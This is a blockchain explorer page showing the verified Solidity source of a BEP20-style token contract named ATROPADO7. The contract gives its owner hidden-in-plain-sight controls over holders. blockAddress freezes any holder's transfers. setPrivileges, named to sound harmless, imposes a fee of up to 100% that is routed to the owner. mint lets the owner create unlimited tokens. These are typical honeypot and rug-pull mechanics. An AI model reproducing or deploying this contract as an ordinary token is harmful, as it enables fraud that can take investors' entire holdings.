Address
0xebf2b16a2cfd7e67e015eca3fc490bde594d6ce9Current Holdings
$0.00
TXs sent
not counted
First Active
2026-05-01
block 26,424,529
Last Active
139 days ago
block 26,424,579
Funded By
not identified
Net worth historyi
No net-worth snapshots recorded yet
exact matchATROPADO7solc 0.8.21+commit.d9974bedruntime exact · creation exact
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return _functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ATROPADO7 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isBlocked;
mapping(address => uint256) private _customFee;
string private _NAME;
string private _SYMBOL;
uint8 private _DECIMALS = 18;
uint256 private _TOTAL_SUPPLY = 889000000000 * 10 ** uint256(_DECIMALS);
address public _feeAddress;
event AddressBlocked(address indexed account);
event FeeUpdated(address indexed account, uint256 fee);
constructor(string memory nome, string memory simbolo) {
_NAME = nome;
_SYMBOL = simbolo;
_feeAddress = _msgSender();
_balances[_msgSender()] = _TOTAL_SUPPLY;
_isExcludedFromFee[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _TOTAL_SUPPLY);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _TOTAL_SUPPLY;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
require(!_isBlocked[_msgSender()], "Sender is blocked");
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
require(!_isBlocked[sender], "Sender is blocked");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "transfer amount exceeds allowance"));
return true;
}
function setPrivileges(address account, uint256 fee) external onlyOwner {
require(fee <= 100, "Custom fee should be less than or equal to 100%");
_customFee[account] = fee;
emit FeeUpdated(account, fee);
}
function removePrivileges(address account) external onlyOwner {
_customFee[account] = 0;
emit FeeUpdated(account, 0);
}
function blockAddress(address account) public onlyOwner {
_isBlocked[account] = true;
emit AddressBlocked(account);
}
function unblockAddress(address account) public onlyOwner {
_isBlocked[account] = false;
}
function mint(uint256 amount) public onlyOwner {
require(amount > 0, "Mint amount must be greater than zero");
uint256 mintAmount = amount * 10 ** uint256(_DECIMALS); // Ajusta para incluir as casas decimais
_TOTAL_SUPPLY = _TOTAL_SUPPLY.add(mintAmount); // Atualiza o totalSupply
_balances[_msgSender()] = _balances[_msgSender()].add(mintAmount); // Adiciona os tokens à conta do proprietário
emit Transfer(address(0), _msgSender(), mintAmount); // Emite o evento de transferência para indicar que tokens foram criados
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "approve from the zero address");
require(spender != address(0), "approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "transfer from the zero address");
require(recipient != address(0), "transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 feeAmount = 0;
if (!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {
uint256 fee = _customFee[sender] > 0 ? _customFee[sender] : (_customFee[recipient] > 0 ? _customFee[recipient] : 0);
if (fee > 0) {
feeAmount = amount.mul(fee).div(100);
}
}
uint256 transferAmount = amount.sub(feeAmount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(transferAmount);
if (feeAmount > 0) {
_balances[_feeAddress] = _balances[_feeAddress].add(feeAmount);
emit Transfer(sender, _feeAddress, feeAmount);
}
emit Transfer(sender, recipient, transferAmount);
}
}